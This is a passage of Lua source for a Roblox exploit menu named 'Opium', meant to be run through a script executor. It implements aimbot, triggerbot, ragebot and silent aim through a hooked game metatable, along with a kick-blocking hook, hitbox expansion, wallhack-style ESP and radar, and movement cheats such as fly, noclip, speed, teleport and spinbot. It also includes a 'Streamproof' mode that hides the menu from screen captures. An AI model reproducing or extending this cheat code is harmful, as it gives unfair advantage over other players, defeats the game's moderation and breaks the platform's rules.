local ok,data=pcall(function() return HttpService:JSONDecode(game:HttpGet("https://games.roblox.com/v1/games/"..game.PlaceId.."/servers/Public?sortOrder=Asc&limit=100")) end)
if ok and data and data.data then for _,srv in ipairs(data.data) do if srv.playing<srv.maxPlayers and srv.id~=game.JobId then pcall(function() TeleportService:TeleportToPlaceInstance(game.PlaceId,srv.id,LocalPlayer) end) return end end end
pcall(function() TeleportService:Teleport(game.PlaceId,LocalPlayer) end)
end)
local _,eb=makeWindow("Exploits",250,330,UDim2.new(0.44,0,0.24,0)); local es=makeScroll(eb)
makeSlider(es,"WalkSpeed","WalkSpeed",16,250,""); makeSlider(es,"Jump Power","JumpPower",50,300,""); makeSlider(es,"Gravity","Gravity",10,300,"")
makeToggle(es,"Fly (WASD/Space/Ctrl)","Fly"); makeSlider(es,"Fly Speed","FlySpeed",20,400,""); makeToggle(es,"Infinite Jump","InfJump")
makeToggle(es,"Noclip","Noclip"); makeToggle(es,"Auto Bhop","AutoBhop"); makeToggle(es,"Spinbot","Spinbot"); makeSlider(es,"Spin Speed","SpinSpeed",5,60,"")
makeToggle(es,"Click TP (press E)","ClickTP")
local _,sb=makeWindow("Settings",240,210,UDim2.new(0.34,0,0.28,0)); local ss=makeScroll(sb)
do
local row=Instance.new("Frame"); row.Size=UDim2.new(1,0,0,40); row.BackgroundColor3=Color3.fromRGB(255,255,255); row.BackgroundTransparency=0.88; row.BorderSizePixel=0; row.Parent=ss; Instance.new("UICorner",row).CornerRadius=UDim.new(0,12)
local dot=Instance.new("Frame"); dot.Name="Dot"; dot.Size=UDim2.new(0,11,0,11); dot.Position=UDim2.new(0,12,0.5,-5); dot.BackgroundColor3=Colors.Accent; dot.BorderSizePixel=0; dot.Parent=row; Instance.new("UICorner",dot).CornerRadius=UDim.new(1,0)
local lbl=Instance.new("TextLabel"); lbl.Size=UDim2.new(1,-40,1,0); lbl.Position=UDim2.new(0,30,0,0); lbl.BackgroundTransparency=1; lbl.Text="Accent Color"; lbl.TextColor3=Color3.fromRGB(255,255,255); lbl.TextXAlignment=Enum.TextXAlignment.Left; lbl.Font=Enum.Font.GothamMedium; lbl.TextSize=14; lbl.Parent=row
local pick=Instance.new("TextButton"); pick.Size=UDim2.new(1,0,1,0); pick.BackgroundTransparency=1; pick.Text=""; pick.Parent=row; pick.MouseButton1Click:Connect(function() openPicker("Accent",row) end)
end
makeToggle(ss,"Rainbow Accent","Rainbow")
local vpf=Instance.new("ViewportFrame"); vpf.Size=UDim2.new(1,0,1,-8); vpf.Position=UDim2.new(0,0,0,4); vpf.BackgroundColor3=Color3.fromRGB(18,20,26); vpf.BackgroundTransparency=0.25; vpf.BorderSizePixel=0; vpf.Parent=vRight; Instance.new("UICorner",vpf).CornerRadius=UDim.new(0,14)
vpf.Ambient=Color3.fromRGB(180,180,190); vpf.LightColor=Color3.fromRGB(255,255,255)
local vpCam=Instance.new("Camera"); vpCam.Parent=vpf; vpf.CurrentCamera=vpCam
local previewModel
local function buildPreviewChar()
local char=LocalPlayer.Character; if not char then return end
local ok,clone=pcall(function() return char:Clone() end); if not ok or not clone then return end
for _,d in ipairs(clone:GetDescendants()) do if d:IsA("BaseScript") then d:Destroy() elseif d:IsA("BasePart") then d.Anchored=true end end
clone.Parent=vpf; previewModel=clone
local cf,size=clone:GetBoundingBox(); local dist=size.Magnitude*0.85
track(RunService.RenderStepped:Connect(function() if not previewModel or not previewModel.Parent then return end local tt=tick()*0.6; vpCam.CFrame=CFrame.new(cf.Position+Vector3.new(math.sin(tt)*dist,0.2,math.cos(tt)*dist),cf.Position) end))
end
buildPreviewChar(); track(LocalPlayer.CharacterAdded:Connect(function() task.wait(1); if not previewModel then buildPreviewChar() end end))
local pbox=Instance.new("Frame"); pbox.Size=UDim2.new(0,60,0,110); pbox.AnchorPoint=Vector2.new(0.5,0.5); pbox.Position=UDim2.new(0.5,0,0.5,0); pbox.BackgroundTransparency=1; pbox.ZIndex=5; pbox.Parent=vpf; local pbs=Instance.new("UIStroke",pbox); pbs.Color=Colors.Boxes; pbs.Thickness=2; pbs.Transparency=0.15
local function makeChip(text,layoutKey)
local chip=Instance.new("TextButton"); chip.Size=UDim2.new(0,0,0,20); chip.AutomaticSize=Enum.AutomaticSize.X; chip.BackgroundColor3=Color3.fromRGB(255,255,255); chip.BackgroundTransparency=0.15; chip.Text=" "..text.." "; chip.TextColor3=Color3.fromRGB(20,20,25); chip.Font=Enum.Font.GothamBold; chip.TextSize=12; chip.AutoButtonColor=false; chip.ZIndex=10; chip.Parent=vpf; Instance.new("UICorner",chip).CornerRadius=UDim.new(1,0)
local function place() local rel=Layout[layoutKey]; local px=pbox.AbsolutePosition.X-vpf.AbsolutePosition.X+rel.x*pbox.AbsoluteSize.X; local py=pbox.AbsolutePosition.Y-vpf.AbsolutePosition.Y+rel.y*pbox.AbsoluteSize.Y; chip.Position=UDim2.new(0,px-chip.AbsoluteSize.X/2,0,py-chip.AbsoluteSize.Y/2) end
task.defer(place)
local dr=false; chip.InputBegan:Connect(function(i) if i.UserInputType==Enum.UserInputType.MouseButton1 then dr=true end end)
track(UserInput.InputEnded:Connect(function(i) if i.UserInputType==Enum.UserInputType.MouseButton1 then dr=false end end))
track(UserInput.InputChanged:Connect(function(i) if dr and i.UserInputType==Enum.UserInputType.MouseMovement then local m=UserInput:GetMouseLocation(); chip.Position=UDim2.new(0,m.X-vpf.AbsolutePosition.X-chip.AbsoluteSize.X/2,0,m.Y-vpf.AbsolutePosition.Y-chip.AbsoluteSize.Y/2); local cx=chip.AbsolutePosition.X+chip.AbsoluteSize.X/2; local cy=chip.AbsolutePosition.Y+chip.AbsoluteSize.Y/2; Layout[layoutKey].x=(cx-pbox.AbsolutePosition.X)/pbox.AbsoluteSize.X; Layout[layoutKey].y=(cy-pbox.AbsolutePosition.Y)/pbox.AbsoluteSize.Y end end))
end
makeChip("Name","Name"); makeChip("Distance","Distance"); makeChip("HP","Health")
local function makeIcon(parent,kind)
local c=Instance.new("Frame"); c.Size=UDim2.new(0,22,0,22); c.AnchorPoint=Vector2.new(0.5,0.5); c.Position=UDim2.new(0.5,0,0.5,0); c.BackgroundTransparency=1; c.ZIndex=22; c.Parent=parent
local function bar(w,h,px,py,rot,rad) local f=Instance.new("Frame"); f.AnchorPoint=Vector2.new(0.5,0.5); f.Size=UDim2.new(0,w,0,h); f.Position=UDim2.new(0.5,px,0.5,py); f.Rotation=rot or 0; f.BackgroundColor3=Color3.fromRGB(255,255,255); f.BorderSizePixel=0; f.ZIndex=23; f.Parent=c; if rad then Instance.new("UICorner",f).CornerRadius=UDim.new(0,rad) end return f end
local function ring(sz,th,w,h) local f=Instance.new("Frame"); f.AnchorPoint=Vector2.new(0.5,0.5); f.Size=UDim2.new(0,w or sz,0,h or sz); f.Position=UDim2.new(0.5,0,0.5,0); f.BackgroundTransparency=1; f.ZIndex=23; f.Parent=c; Instance.new("UICorner",f).CornerRadius=UDim.new(1,0); local s=Instance.new("UIStroke",f); s.Color=Color3.fromRGB(255,255,255); s.Thickness=th or 2; return f end
if kind=="Combat" then ring(18,2); bar(2,24,0,0); bar(24,2,0,0)
elseif kind=="Visual" then ring(0,2,20,13); bar(7,7,0,0,0,10)
elseif kind=="Misc" then bar(18,2,0,-6,0,1); bar(6,6,-3,-6,0,2); bar(18,2,0,0,0,1); bar(6,6,4,0,0,2); bar(18,2,0,6,0,1); bar(6,6,-1,6,0,2)
elseif kind=="Exploits" then bar(4,11,-2,-3,22,1); bar(4,11,2,3,22,1)
elseif kind=="Settings" then ring(10,2); for i=0,5 do local a=math.rad(i*60); bar(4,4,math.cos(a)*9,math.sin(a)*9,i*60,1) end bar(4,4,0,0,0,2) end
return c
end
local dock=Instance.new("Frame"); dock.AnchorPoint=Vector2.new(0.5,0); dock.Position=UDim2.new(0.5,0,0,14); dock.AutomaticSize=Enum.AutomaticSize.X; dock.Size=UDim2.new(0,0,0,48); dock.BackgroundColor3=Color3.fromRGB(255,255,255); dock.BackgroundTransparency=0.8; dock.BorderSizePixel=0; dock.ZIndex=20; dock.Parent=hud
Instance.new("UICorner",dock).CornerRadius=UDim.new(0,16)
local dgr=Instance.new("UIGradient",dock); dgr.Rotation=90; dgr.Color=ColorSequence.new(Color3.fromRGB(255,255,255),Color3.fromRGB(205,212,225)); dgr.Transparency=NumberSequence.new({NumberSequenceKeypoint.new(0,0.76),NumberSequenceKeypoint.new(1,0.88)}); Instance.new("UIStroke",dock).Transparency=0.55
local dpad=Instance.new("UIPadding",dock); dpad.PaddingLeft=UDim.new(0,7); dpad.PaddingRight=UDim.new(0,7); dpad.PaddingTop=UDim.new(0,7); dpad.PaddingBottom=UDim.new(0,7)
local dl=Instance.new("UIListLayout",dock); dl.FillDirection=Enum.FillDirection.Horizontal; dl.Padding=UDim.new(0,5); dl.VerticalAlignment=Enum.VerticalAlignment.Center; dl.SortOrder=Enum.SortOrder.LayoutOrder
local tip=Instance.new("TextLabel"); tip.AutomaticSize=Enum.AutomaticSize.X; tip.Size=UDim2.new(0,0,0,22); tip.AnchorPoint=Vector2.new(0.5,0); tip.BackgroundColor3=Color3.fromRGB(20,22,28); tip.BackgroundTransparency=0.1; tip.TextColor3=Color3.fromRGB(255,255,255); tip.Font=Enum.Font.GothamBold; tip.TextSize=12; tip.Visible=false; tip.ZIndex=40; tip.Parent=hud
Instance.new("UICorner",tip).CornerRadius=UDim.new(0,7); local tpad=Instance.new("UIPadding",tip); tpad.PaddingLeft=UDim.new(0,8); tpad.PaddingRight=UDim.new(0,8)
local function makeDockBtn(name,order)
local b=Instance.new("TextButton"); b.Size=UDim2.new(0,38,1,0); b.LayoutOrder=order; b.BackgroundColor3=ACCENT; b.BackgroundTransparency=1; b.BorderSizePixel=0; b.Text=""; b.AutoButtonColor=false; b.ZIndex=21; b.Parent=dock; Instance.new("UICorner",b).CornerRadius=UDim.new(0,11)
makeIcon(b,name)
b.MouseButton1Click:Connect(function() local win=windows[name].frame; win.Visible=not win.Visible; if win.Visible then for _,wd in pairs(windows) do wd.frame.ZIndex=2 end win.ZIndex=3 end updateDock() end)
b.MouseEnter:Connect(function() tip.Text=name; tip.Position=UDim2.new(0,b.AbsolutePosition.X+b.AbsoluteSize.X/2,0,dock.AbsolutePosition.Y+dock.AbsoluteSize.Y+6); tip.Visible=true end)
b.MouseLeave:Connect(function() tip.Visible=false end)
windows[name].dockBtn=b
end
makeDockBtn("Combat",1); makeDockBtn("Visual",2); makeDockBtn("Misc",3); makeDockBtn("Exploits",4); makeDockBtn("Settings",5)
updateDock=function() for _,wd in pairs(windows) do if wd.dockBtn then local on=wd.frame.Visible; TweenService:Create(wd.dockBtn,TweenInfo.new(0.15),{BackgroundTransparency=on and 0.1 or 1}):Play(); wd.dockBtn.BackgroundColor3=ACCENT end end end
updateDock()
restyleAccent=function() for _,wd in pairs(windows) do if wd.dockBtn then wd.dockBtn.BackgroundColor3=ACCENT end end end
local function aimPart(char) local order=(Settings.AimPart=="Head" and {"Head"}) or (Settings.AimPart=="Torso" and {"UpperTorso","Torso"}) or {"HumanoidRootPart"}; for _,n in ipairs(order) do local p=char:FindFirstChild(n); if p then return p end end return char:FindFirstChild("HumanoidRootPart") or char:FindFirstChild("Head") end
local fov=Drawing.new("Circle"); fov.Thickness=1.5; fov.NumSides=64; fov.Filled=false; fov.Visible=false
local lastShot=0
local stickyTarget
local function visibleTo(part,targetChar)
if not Settings.VisCheck then return true end
local o=Camera.CFrame.Position
local pr=RaycastParams.new(); pr.FilterType=Enum.RaycastFilterType.Exclude; pr.FilterDescendantsInstances={LocalPlayer.Character}
local res=workspace:Raycast(o,(part.Position-o),pr)
return (not res) or res.Instance:IsDescendantOf(targetChar)
end
track(RunService.RenderStepped:Connect(function()
local m=UserInput:GetMouseLocation()
if Settings.FOVCircle then fov.Position=m; fov.Radius=Settings.AimFOV; fov.Color=ACCENT; fov.Visible=true else fov.Visible=false end
if Settings.Aimbot and UserInput:IsMouseButtonPressed(Enum.UserInputType.MouseButton2) then
local camPos=Camera.CFrame.Position
local target
if Settings.Sticky and stickyTarget then
local ch=stickyTarget; local head=ch.Parent and ch:FindFirstChild("Head"); local hum=ch:FindFirstChildOfClass("Humanoid")
if head and hum and hum.Health>0 then
local vp,on=Camera:WorldToViewportPoint(head.Position)
if on and (Vector2.new(vp.X,vp.Y)-m).Magnitude<=Settings.AimFOV and visibleTo(head,ch) then target=ch else stickyTarget=nil end
else stickyTarget=nil end
end
if not target then
local best,bestScore=nil,math.huge
for _,plr in pairs(Players:GetPlayers()) do
if plr==LocalPlayer then continue end
if Settings.TeamCheck and plr.Team and plr.Team==LocalPlayer.Team then continue end
local ch=plr.Character; local head=ch and ch:FindFirstChild("Head"); local hum=ch and ch:FindFirstChildOfClass("Humanoid")
if not head or not hum or hum.Health<=0 then continue end
local vp,on=Camera:WorldToViewportPoint(head.Position); if not on then continue end
local scr=(Vector2.new(vp.X,vp.Y)-m).Magnitude
if scr<=Settings.AimFOV and visibleTo(head,ch) then
local score
if Settings.AimMode=="Distance" then score=(head.Position-camPos).Magnitude
elseif Settings.AimMode=="Lowest HP" then score=hum.Health
else score=scr end
if score<bestScore then bestScore=score; best=ch end
end
end
target=best; stickyTarget=best
end
if target then local part=aimPart(target); if part then local goal=CFrame.new(camPos,part.Position); Camera.CFrame=Camera.CFrame:Lerp(goal,math.clamp(1/Settings.AimSmooth,0.05,1)) end end
end
if Settings.Triggerbot and tick()-lastShot>Settings.TrigDelay/1000 then
local ray=Camera:ViewportPointToRay(m.X,m.Y)
local params=RaycastParams.new(); params.FilterType=Enum.RaycastFilterType.Exclude; params.FilterDescendantsInstances={LocalPlayer.Character}
local res=workspace:Raycast(ray.Origin,ray.Direction*2000,params)
if res and res.Instance then local ch=res.Instance:FindFirstAncestorWhichIsA("Model"); local plr=ch and Players:GetPlayerFromCharacter(ch); local hum=ch and ch:FindFirstChildOfClass("Humanoid")
if plr and hum and hum.Health>0 and not (Settings.TeamCheck and plr.Team and plr.Team==LocalPlayer.Team) then lastShot=tick(); pcall(function() mouse1press(); task.wait(0.03); mouse1release() end) end
end
end
end))
local hitOrig={}
track(RunService.Heartbeat:Connect(function()
for _,plr in pairs(Players:GetPlayers()) do
if plr==LocalPlayer then continue end
local hrp=plr.Character and plr.Character:FindFirstChild("HumanoidRootPart"); if not hrp then continue end
if Settings.Hitbox then if not hitOrig[hrp] then hitOrig[hrp]=hrp.Size end hrp.Size=Vector3.new(Settings.HitboxSize,Settings.HitboxSize,Settings.HitboxSize); hrp.CanCollide=false
elseif hitOrig[hrp] then hrp.Size=hitOrig[hrp]; hitOrig[hrp]=nil end
end
end))
track(RunService.Heartbeat:Connect(function()
local char=LocalPlayer.Character; local hum=char and char:FindFirstChildOfClass("Humanoid")
if hum then hum.WalkSpeed=Settings.WalkSpeed; hum.UseJumpPower=true; hum.JumpPower=Settings.JumpPower end
workspace.Gravity=Settings.Gravity
Camera.FieldOfView=Settings.FOV
end))
track(RunService.Stepped:Connect(function() if not Settings.Noclip then return end local char=LocalPlayer.Character; if not char then return end for _,p in ipairs(char:GetDescendants()) do if p:IsA("BasePart") and p.CanCollide then p.CanCollide=false end end end))
track(UserInput.JumpRequest:Connect(function() if not Settings.InfJump then return end local hum=LocalPlayer.Character and LocalPlayer.Character:FindFirstChildOfClass("Humanoid"); if hum then hum:ChangeState(Enum.HumanoidStateType.Jumping) end end))
track(RunService.Heartbeat:Connect(function() if not Settings.AutoBhop then return end local char=LocalPlayer.Character; local hum=char and char:FindFirstChildOfClass("Humanoid"); if hum and UserInput:IsKeyDown(Enum.KeyCode.Space) and hum.FloorMaterial~=Enum.Material.Air then hum:ChangeState(Enum.HumanoidStateType.Jumping) end end))
local flyBV,flyBG
track(RunService.RenderStepped:Connect(function()
local char=LocalPlayer.Character; local hrp=char and char:FindFirstChild("HumanoidRootPart"); local hum=char and char:FindFirstChildOfClass("Humanoid")
if Settings.Fly and hrp then
if not flyBV then flyBV=Instance.new("BodyVelocity"); flyBV.MaxForce=Vector3.new(9e9,9e9,9e9); flyBV.P=9e4; flyBV.Parent=hrp; flyBG=Instance.new("BodyGyro"); flyBG.MaxTorque=Vector3.new(9e9,9e9,9e9); flyBG.P=9e4; flyBG.Parent=hrp; if hum then hum.PlatformStand=true end end
local dir=Vector3.zero; local cf=Camera.CFrame
if UserInput:IsKeyDown(Enum.KeyCode.W) then dir=dir+cf.LookVector end
if UserInput:IsKeyDown(Enum.KeyCode.S) then dir=dir-cf.LookVector end
if UserInput:IsKeyDown(Enum.KeyCode.A) then dir=dir-cf.RightVector end
if UserInput:IsKeyDown(Enum.KeyCode.D) then dir=dir+cf.RightVector end
if UserInput:IsKeyDown(Enum.KeyCode.Space) then dir=dir+Vector3.new(0,1,0) end
if UserInput:IsKeyDown(Enum.KeyCode.LeftControl) then dir=dir-Vector3.new(0,1,0) end
flyBV.Velocity=(dir.Magnitude>0 and dir.Unit or Vector3.zero)*Settings.FlySpeed; flyBG.CFrame=cf
else if flyBV then flyBV:Destroy(); flyBV=nil end if flyBG then flyBG:Destroy(); flyBG=nil end if hum and not Settings.Spinbot then hum.PlatformStand=false end end
end))
track(RunService.RenderStepped:Connect(function() if not Settings.Spinbot then return end local hrp=LocalPlayer.Character and LocalPlayer.Character:FindFirstChild("HumanoidRootPart"); if hrp then hrp.CFrame=CFrame.new(hrp.Position)*CFrame.Angles(0,tick()*Settings.SpinSpeed,0) end end))
track(UserInput.InputBegan:Connect(function(input,gpe)
if gpe or not Settings.ClickTP then return end
if input.KeyCode==Enum.KeyCode.E then
local hrp=LocalPlayer.Character and LocalPlayer.Character:FindFirstChild("HumanoidRootPart"); if not hrp then return end
local m=UserInput:GetMouseLocation(); local ray=Camera:ViewportPointToRay(m.X,m.Y)
local params=RaycastParams.new(); params.FilterType=Enum.RaycastFilterType.Exclude; params.FilterDescendantsInstances={LocalPlayer.Character}
local res=workspace:Raycast(ray.Origin,ray.Direction*5000,params)
if res then hrp.CFrame=CFrame.new(res.Position+Vector3.new(0,3,0)) end
end
end))
local ORIG={Brightness=Lighting.Brightness,FogEnd=Lighting.FogEnd,Ambient=Lighting.Ambient,Shadows=Lighting.GlobalShadows}
track(RunService.Heartbeat:Connect(function()
if Settings.Fullbright then Lighting.Brightness=2; Lighting.GlobalShadows=false; Lighting.Ambient=Color3.fromRGB(200,200,200)
else Lighting.Brightness=ORIG.Brightness; Lighting.GlobalShadows=ORIG.Shadows; Lighting.Ambient=ORIG.Ambient end
Lighting.ClockTime=Settings.DayTime
Lighting.FogEnd=(Settings.NoFog or Settings.Fullbright) and 1e9 or ORIG.FogEnd
end))
pcall(function() local VU=game:GetService("VirtualUser"); track(LocalPlayer.Idled:Connect(function() if Settings.AntiAFK then pcall(function() VU:CaptureController(); VU:ClickButton2(Vector2.new()) end) end end)) end)
track(RunService.Heartbeat:Connect(function() if Settings.Rainbow then ACCENT=Color3.fromHSV(tick()%5/5,0.75,1); Colors.Accent=ACCENT; restyleAccent() end end))
makeToggle(cs,"Ragebot (auto)","Ragebot"); makeToggle(cs,"Silent Aim","SilentAim"); makeSlider(cs,"Hit Chance","HitChance",0,100,"%")
makeToggle(cs,"Prediction","Predict"); makeCycler(cs,"Anti-Aim","AntiAim",{"Off","Spin","Jitter","Random","Backwards"})
makeToggle(vs,"Skeleton","Skeleton"); makeToggle(vs,"Head Dot","HeadDot"); makeToggle(vs,"Weapon ESP","WeaponESP")
makeToggle(vs,"Friends (color)","Friends","Friend"); makeToggle(vs,"Backtrack","Backtrack"); makeToggle(vs,"Radar","Radar")
makeToggle(ms,"No Fall Damage","NoFall"); makeToggle(ms,"Fake Lag","FakeLag"); makeCycler(ms,"Fling","FlingMode",{"Off","Nearest","All","Mouse"}); makeToggle(ms,"Attach to Nearest","Attach")
makeButton(ms,"Preset: Fast (100/100)",function() Settings.WalkSpeed=100; Settings.JumpPower=100; for _,f in ipairs(refreshers) do f() end end)
makeButton(ms,"Preset: Insane (250/300)",function() Settings.WalkSpeed=250; Settings.JumpPower=300; for _,f in ipairs(refreshers) do f() end end)
local macroData,macroRec,macroPlaying={},false,false
makeButton(ms,"Macro: Record / Stop",function() macroRec=not macroRec; if macroRec then macroData={} end end)
makeButton(ms,"Macro: Play",function()
if macroPlaying or #macroData==0 then return end
macroPlaying=true
task.spawn(function() for _,cf in ipairs(macroData) do local hrp=LocalPlayer.Character and LocalPlayer.Character:FindFirstChild("HumanoidRootPart"); if hrp then hrp.CFrame=cf end RunService.Heartbeat:Wait() end macroPlaying=false end)
end)
track(RunService.Heartbeat:Connect(function() if macroRec then local hrp=LocalPlayer.Character and LocalPlayer.Character:FindFirstChild("HumanoidRootPart"); if hrp then table.insert(macroData,hrp.CFrame) end end end))
makeButton(ss,"Config: Save",function() saveConfig() end)
makeButton(ss,"Config: Load",function() loadConfig(); for _,f in ipairs(refreshers) do f() end end)
makeToggle(ss,"Auto Save","AutoSave")
makeToggle(ss,"Watermark","Watermark")
makeToggle(ss,"Streamproof","Streamproof",nil,function(on) pcall(function() if on and syn and syn.protect_gui then syn.protect_gui(gui) end gui.Parent=(gethui and gethui()) or gui.Parent end) end)
makeSlider(ss,"ESP Update Rate","ESPRate",1,5,"")
do
local wrap=Instance.new("Frame"); wrap.Size=UDim2.new(1,0,0,30); wrap.BackgroundTransparency=1; wrap.Parent=ss
local ll=Instance.new("UIListLayout",wrap); ll.FillDirection=Enum.FillDirection.Horizontal; ll.Padding=UDim.new(0,6); ll.VerticalAlignment=Enum.VerticalAlignment.Center
for _,col in ipairs({Color3.fromRGB(10,132,255),Color3.fromRGB(255,60,90),Color3.fromRGB(0,220,150),Color3.fromRGB(180,90,255),Color3.fromRGB(255,170,0),Color3.fromRGB(255,255,255)}) do
local sw=Instance.new("TextButton"); sw.Size=UDim2.new(0,26,0,26); sw.BackgroundColor3=col; sw.Text=""; sw.AutoButtonColor=true; sw.Parent=wrap; Instance.new("UICorner",sw).CornerRadius=UDim.new(1,0)
sw.MouseButton1Click:Connect(function() ACCENT=col; Colors.Accent=col; Settings.Rainbow=false; for _,f in ipairs(refreshers) do f() end if restyleAccent then restyleAccent() end end)
end
end
do
local btn=Instance.new("TextButton"); btn.Size=UDim2.new(1,0,0,38); btn.BackgroundColor3=Color3.fromRGB(255,255,255); btn.BackgroundTransparency=0.85; btn.Text="Menu Key: "..Settings.MenuKey; btn.TextColor3=Color3.fromRGB(255,255,255); btn.Font=Enum.Font.GothamBold; btn.TextSize=14; btn.Parent=ss; Instance.new("UICorner",btn).CornerRadius=UDim.new(0,12)
local waiting=false
btn.MouseButton1Click:Connect(function() waiting=true; btn.Text="Taste drücken..." end)
track(UserInput.InputBegan:Connect(function(inp,gpe) if waiting and inp.KeyCode~=Enum.KeyCode.Unknown then Settings.MenuKey=inp.KeyCode.Name; btn.Text="Menu Key: "..Settings.MenuKey; waiting=false end end))
end
makeButton(ss,"Unload Opium",function() if opiumLeave then pcall(function() opiumLeave("Unload") end) end for _,c in ipairs(conns) do pcall(function() c:Disconnect() end) end for k in pairs(drawings) do removeKey(k) end for _,hl in pairs(chams) do pcall(function() hl:Destroy() end) end gui:Destroy() end)
local function cacheFriend(plr) task.spawn(function() local ok,res=pcall(function() return LocalPlayer:IsFriendsWith(plr.UserId) end); if ok then friendCache[plr.UserId]=res end end) end
for _,p in ipairs(Players:GetPlayers()) do cacheFriend(p) end
track(Players.PlayerAdded:Connect(cacheFriend))
local function bestInFov()
local m=UserInput:GetMouseLocation(); local best,bestD=nil,Settings.AimFOV
for _,plr in pairs(Players:GetPlayers()) do
if plr==LocalPlayer then continue end
if Settings.TeamCheck and plr.Team and plr.Team==LocalPlayer.Team then continue end
if Settings.Friends and friendCache[plr.UserId] then continue end
local ch=plr.Character; local head=ch and ch:FindFirstChild("Head"); local hum=ch and ch:FindFirstChildOfClass("Humanoid")
if not head or not hum or hum.Health<=0 then continue end
local vp,on=Camera:WorldToViewportPoint(head.Position); if not on then continue end
local d=(Vector2.new(vp.X,vp.Y)-m).Magnitude
if d<bestD then bestD=d; best=ch end
end
return best
end
local function predictPos(part)
if not Settings.Predict then return part.Position end
local v=part.AssemblyLinearVelocity or Vector3.zero
return part.Position + v*0.14
end
track(RunService.RenderStepped:Connect(function()
if not Settings.Ragebot then return end
local ch=bestInFov(); if ch then local part=aimPart(ch); if part then Camera.CFrame=CFrame.new(Camera.CFrame.Position, predictPos(part)) end end
end))
pcall(function()
if not (getrawmetatable and setreadonly and newcclosure) then return end
local mt=getrawmetatable(game); local old=mt.__namecall; setreadonly(mt,false)
mt.__namecall=newcclosure(function(self,...)
local method=getnamecallmethod and getnamecallmethod()
if Settings.AntiKick and method=="Kick" and self==LocalPlayer then return end
if Settings.SilentAim and method and (method=="Raycast" or method=="FindPartOnRay" or method=="FindPartOnRayWithIgnoreList") and math.random(1,100)<=Settings.HitChance then
local ch=bestInFov(); local part=ch and aimPart(ch)
if part then
local args={...}
if method=="Raycast" and typeof(args[1])=="Vector3" then args[2]=(predictPos(part)-args[1]); return old(self,unpack(args))
elseif typeof(args[1])=="Ray" then local o=args[1].Origin; args[1]=Ray.new(o,(predictPos(part)-o).Unit*1000); return old(self,unpack(args)) end
end
end
return old(self,...)
end)
setreadonly(mt,true)
end)
local aaJit=1
track(RunService.Heartbeat:Connect(function()
if Settings.AntiAim=="Off" then return end
local hrp=LocalPlayer.Character and LocalPlayer.Character:FindFirstChild("HumanoidRootPart"); if not hrp then return end
local yaw
if Settings.AntiAim=="Spin" then yaw=tick()*8
elseif Settings.AntiAim=="Jitter" then aaJit=-aaJit; yaw=aaJit*1.4
elseif Settings.AntiAim=="Random" then yaw=math.random()*6.283
else local lv=Camera.CFrame.LookVector; yaw=math.atan2(-lv.X,-lv.Z) end
hrp.CFrame=CFrame.new(hrp.Position)*CFrame.Angles(0,yaw,0)
end))
local BONES={{"Head","UpperTorso"},{"UpperTorso","LowerTorso"},{"UpperTorso","LeftUpperArm"},{"LeftUpperArm","LeftLowerArm"},{"LeftLowerArm","LeftHand"},{"UpperTorso","RightUpperArm"},{"RightUpperArm","RightLowerArm"},{"RightLowerArm","RightHand"},{"LowerTorso","LeftUpperLeg"},{"LeftUpperLeg","LeftLowerLeg"},{"LeftLowerLeg","LeftFoot"},{"LowerTorso","RightUpperLeg"},{"RightUpperLeg","RightLowerLeg"},{"RightLowerLeg","RightFoot"}}
local skel,headDots,wepTxt,backt={},{},{},{}
track(RunService.RenderStepped:Connect(function()
for _,plr in pairs(Players:GetPlayers()) do
if plr==LocalPlayer then continue end
local key=plr.UserId; local ch=plr.Character
local fc=(Settings.Friends and friendCache[key]) and Colors.Friend or Colors.Boxes
local root=ch and ch:FindFirstChild("HumanoidRootPart"); local head=ch and ch:FindFirstChild("Head")
if Settings.Skeleton and ch then
skel[key]=skel[key] or {}
for i,b in ipairs(BONES) do
local ln=skel[key][i] or Drawing.new("Line"); skel[key][i]=ln
local p0=ch:FindFirstChild(b[1]); local p1=ch:FindFirstChild(b[2])
if p0 and p1 then local a,va=Camera:WorldToViewportPoint(p0.Position); local bb,vb=Camera:WorldToViewportPoint(p1.Position)
if va and vb then ln.Color=fc; ln.Thickness=1.5; ln.From=Vector2.new(a.X,a.Y); ln.To=Vector2.new(bb.X,bb.Y); ln.Visible=true else ln.Visible=false end
else ln.Visible=false end
end
elseif skel[key] then for _,ln in ipairs(skel[key]) do ln.Visible=false end end
local hd=headDots[key] or Drawing.new("Circle"); headDots[key]=hd
if Settings.HeadDot and head then local vp,on=Camera:WorldToViewportPoint(head.Position); if on then hd.Filled=true; hd.NumSides=16; hd.Radius=3; hd.Color=fc; hd.Position=Vector2.new(vp.X,vp.Y); hd.Visible=true else hd.Visible=false end else hd.Visible=false end
local wt=wepTxt[key] or Drawing.new("Text"); wepTxt[key]=wt; wt.Center=true; wt.Outline=true
local tool=ch and ch:FindFirstChildOfClass("Tool")
if Settings.WeaponESP and tool and head then local vp,on=Camera:WorldToViewportPoint(head.Position); if on then wt.Text=tool.Name; wt.Size=13; wt.Color=Color3.fromRGB(255,220,120); wt.Position=Vector2.new(vp.X,vp.Y-38); wt.Visible=true else wt.Visible=false end else wt.Visible=false end
if Settings.Backtrack and root then
backt[key]=backt[key] or {hist={},sq={}}; local bt=backt[key]
table.insert(bt.hist,{p=root.Position,t=tick()}); while #bt.hist>0 and tick()-bt.hist[1].t>0.6 do table.remove(bt.hist,1) end
local step=math.max(1,math.floor(#bt.hist/10))
for i=1,10 do local sq=bt.sq[i] or Drawing.new("Square"); bt.sq[i]=sq; sq.Filled=false; sq.Thickness=1
local h=bt.hist[i*step]
if h then local vp,on=Camera:WorldToViewportPoint(h.p); if on then sq.Color=Color3.fromRGB(160,160,170); sq.Size=Vector2.new(6,6); sq.Position=Vector2.new(vp.X-3,vp.Y-3); sq.Visible=true else sq.Visible=false end else sq.Visible=false end
end
elseif backt[key] then for _,sq in ipairs(backt[key].sq) do sq.Visible=false end backt[key].hist={} end
end
end))
track(Players.PlayerRemoving:Connect(function(plr) local k=plr.UserId
if skel[k] then for _,l in ipairs(skel[k]) do pcall(function() l:Remove() end) end skel[k]=nil end
if headDots[k] then pcall(function() headDots[k]:Remove() end) headDots[k]=nil end
if wepTxt[k] then pcall(function() wepTxt[k]:Remove() end) wepTxt[k]=nil end
if backt[k] then for _,s in ipairs(backt[k].sq) do pcall(function() s:Remove() end) end backt[k]=nil end
end))
local radar=Instance.new("Frame"); radar.Size=UDim2.new(0,150,0,150); radar.Position=UDim2.new(1,-166,0,72); radar.BackgroundColor3=Color3.fromRGB(15,17,22); radar.BackgroundTransparency=0.25; radar.BorderSizePixel=0; radar.Visible=false; radar.ZIndex=15; radar.Parent=hud
